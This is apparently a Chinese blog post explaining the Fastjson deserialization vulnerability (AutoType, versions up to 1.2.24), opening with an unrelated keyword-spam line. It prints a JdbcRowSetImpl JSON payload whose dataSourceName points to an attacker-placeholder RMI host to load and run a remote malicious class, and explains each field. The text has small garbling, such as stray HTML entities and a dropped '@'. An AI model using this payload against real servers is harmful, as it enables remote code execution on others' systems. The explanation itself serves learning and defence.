东莞做网站公司首选,公司申请域名,网站开发主菜单和子菜单,进入qq空间登录fastjson漏洞 fastjson工作原理攻击原理补充 例子 fastjson工作原理
fastjson的作用是将JAVA对象转换成对应的json表示形式#xff0c;也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化#xff0c;AutoType使用type标记字符的原始类型#x… fastjson漏洞 fastjson工作原理攻击原理补充 例子 fastjson工作原理
fastjson的作用是将JAVA对象转换成对应的json表示形式也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化AutoType使用type标记字符的原始类型在反序列话时会读取type以此把内容反序列化到对象在上述过程中会调用到库中的setter和getter方法
攻击原理
攻击者传入一个恶意构造的json内容程序对其反序列话后得到恶意类并执行了恶意类中的恶意函数进而促使恶意代码执行 合理构造一个JSON使用type指定一个想要攻击的类库就可以实现攻击
补充
仅影响Fastjson1.2.24及之前版本
例子 {b: {type: com.sun.rowset.JdbcRowSetImpl,dataSourceName: rmi://攻击者的IP地址/恶意类,autoCommit: true}JSON 数据包这里展示的 JSON 数据包包含一个名为 b 的对象其中有一个 type 字段指定了这个对象的类型为 com.sun.rowset.JdbcRowSetImpl。这是一种 Java 对象类型。恶意数据在 dataSourceName 字段中提供了一个远程方法调用 (RMI) 的 URL指向攻击者的 IP 地址和他们控制的恶意类。这意味着 Fastjson 会尝试从这个远程地址加载并执行恶意类。自动提交autoCommit 字段被设置为 true表明在反序列化后自动执行某些操作。